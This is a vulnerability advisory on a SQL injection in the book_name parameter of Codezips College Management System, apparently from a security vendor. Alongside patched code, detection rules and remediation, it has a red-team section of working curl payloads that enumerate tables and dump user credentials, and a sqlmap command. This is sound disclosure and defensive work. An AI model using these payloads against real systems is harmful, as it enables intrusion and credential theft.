CVE-2025-1850

Executive Summary

CVE-2025-1850 is a critical SQL injection vulnerability discovered in Codezips College Management System version 1.0. The flaw resides in the /university.php file, where the book_name parameter is improperly sanitized, allowing an unauthenticated remote attacker to inject arbitrary SQL commands. This can lead to full database compromise, including extraction of sensitive student, faculty, and administrative data. The vulnerability has been publicly disclosed with proof-of-concept (PoC) code, and no official patch is currently available. The EPSS score is 0.0%, indicating low exploitation probability in the wild at this time, but the public availability of exploit details significantly increases risk for unpatched instances.

Supply Chain & Package Security

This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby). It is a standalone PHP application. However, organizations using this system should treat it as a critical supply chain risk due to the lack of vendor support and patch availability.

CVSS Breakdown & Threat Level

CVSS Score: 10.0 (Critical)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low – No special conditions or complex attack sequences are required.
• Privileges Required (PR): None – The attacker does not need to be authenticated.
• User Interaction (UI): None – No user action is required for exploitation.
• Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High – Full database read access is possible.
• Integrity (I): High – Data can be modified or deleted.
• Availability (A): High – Database can be disrupted or destroyed.

Threat Level: Critical. The combination of remote, unauthenticated access with low complexity and high impact makes this a top-priority vulnerability for any organization using the affected software.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the book_name parameter of the /university.php endpoint. The application likely constructs a SQL query by directly concatenating user input without proper sanitization or parameterized queries.

Vulnerable Code Pattern (Hypothetical):

$book_name = $_GET['book_name'];
$query = "SELECT * FROM books WHERE name = '$book_name'";
$result = mysqli_query($conn, $query);

An attacker can inject SQL by providing input such as:

' OR '1'='1' -- -

This would result in the query:

SELECT * FROM books WHERE name = '' OR '1'='1' -- -'

The OR '1'='1' condition makes the WHERE clause always true, returning all rows. The -- - comments out the rest of the query, preventing syntax errors.

Exploitation Impact:

• Data Exfiltration: Use UNION-based injection to extract data from other tables (e.g., users, students, faculty).
• Authentication Bypass: Manipulate login queries to gain admin access.
• Database Takeover: Use INTO OUTFILE to write a web shell (if file permissions allow).
• Denial of Service: Use heavy queries or DROP TABLE commands.

Vulnerable vs. Patched Code

Vulnerable Code (Hypothetical):

$book_name = $_GET['book_name'];
$query = "SELECT * FROM books WHERE name = '$book_name'";
$result = mysqli_query($conn, $query);

Patched Code (Using Prepared Statements):

$book_name = $_GET['book_name'];
$stmt = $conn->prepare("SELECT * FROM books WHERE name = ?");
$stmt->bind_param("s", $book_name);
$stmt->execute();
$result = $stmt->get_result();

Explanation: The patched version uses a prepared statement with a parameterized query. The ? placeholder is bound to the $book_name variable, ensuring that user input is treated as data, not executable SQL code. This completely prevents SQL injection.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target running Codezips College Management System 1.0
• Network access to the /university.php endpoint

Step 1: Identify the vulnerable parameter

curl "http://target.com/university.php?book_name=test"

Step 2: Confirm SQL injection

curl "http://target.com/university.php?book_name=test'"
# Look for SQL error messages or unexpected behavior

Step 3: Extract database version

curl "http://target.com/university.php?book_name=' UNION SELECT @@version,2,3-- -"

Step 4: Enumerate tables

curl "http://target.com/university.php?book_name=' UNION SELECT table_name,2,3 FROM information_schema.tables-- -"

Step 5: Dump user credentials

curl "http://target.com/university.php?book_name=' UNION SELECT username,password,3 FROM users-- -"

Automated Exploitation with sqlmap:

sqlmap -u "http://target.com/university.php?book_name=test" --batch --dbs

Blue Team (Defensive)

Detection:

• Monitor web server logs for suspicious book_name parameters containing SQL keywords (UNION, SELECT, OR, --, ').
• Deploy a Web Application Firewall (WAF) with rules to block SQL injection patterns.
• Use the Sigma and Suricata rules provided in the Detection Engineering section.

Hunting:

• Search for requests to /university.php with abnormal query string lengths or special characters.
• Correlate with database error logs for SQL syntax errors.

Containment:

• Immediately isolate the affected server if exploitation is suspected.
• Review database logs for unauthorized queries or data exports.
• Implement input validation and parameterized queries as a permanent fix.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /university.php with book_name parameter containing SQL injection patterns (e.g., ' OR, UNION SELECT, --).
• Outbound database connections from the web server to unexpected IPs (data exfiltration).
• Unusual database error messages in HTTP responses (e.g., "You have an error in your SQL syntax").

File IOCs:

• Unexpected files in the web root (e.g., shell.php, cmd.php) indicating web shell upload.
• Modified .htaccess files or server configuration changes.

Log IOCs:

• Web server logs showing repeated requests to /university.php with varying book_name values.
• Database logs showing SELECT, UNION, INTO OUTFILE statements originating from the web application user.

Detection Engineering

YARA Rule

rule CVE_2025_1850_SQLi_BookName {
    meta:
        description = "Detects SQL injection attempts targeting book_name parameter in Codezips College Management System"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-1850"
    strings:
        $s1 = "book_name=" nocase
        $s2 = "' OR" nocase
        $s3 = "UNION SELECT" nocase
        $s4 = "--" nocase
        $s5 = "1=1" nocase
    condition:
        all of ($s*) and #s1 > 0
}

Sigma Rule

title: SQL Injection Attempt Against Codezips College Management System
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts targeting the book_name parameter in /university.php
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-1850
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-uri-query|contains:
            - "book_name='"
            - "book_name=%27"
            - "UNION"
            - "SELECT"
            - "OR 1=1"
            - "--"
    condition: selection
falsepositives:
    - Legitimate use of apostrophes in book names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-1850 SQL Injection Attempt - book_name parameter"; flow:to_server,established; content:"/university.php"; http_uri; content:"book_name="; http_uri; pcre:"/(%27|')(.*)(OR|UNION|SELECT|--)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the system: If the application is internet-facing, take it offline or restrict access via firewall rules to trusted IPs only.
2. Apply virtual patching: Use a WAF to block SQL injection patterns targeting the book_name parameter.
3. Review database logs: Check for any signs of data exfiltration or unauthorized access.

Long-Term Fix:

1. Rewrite the vulnerable code: Replace all dynamic SQL queries with parameterized prepared statements (as shown in the patched code section).
2. Implement input validation: Whitelist allowed characters for the book_name parameter (e.g., only alphanumeric and spaces).
3. Upgrade or replace the system: Since no official patch is available, consider migrating to a supported alternative.

Compromise Assessment:

• Run a full database audit to check for unauthorized changes or new user accounts.
• Scan the web server for web shells or backdoors.
• Rotate all database credentials and application secrets.

Valters IT Signature

This report was generated by Valters IT Cyber Threat Intelligence Division. For questions or incident response assistance, contact soc@valters-it.com.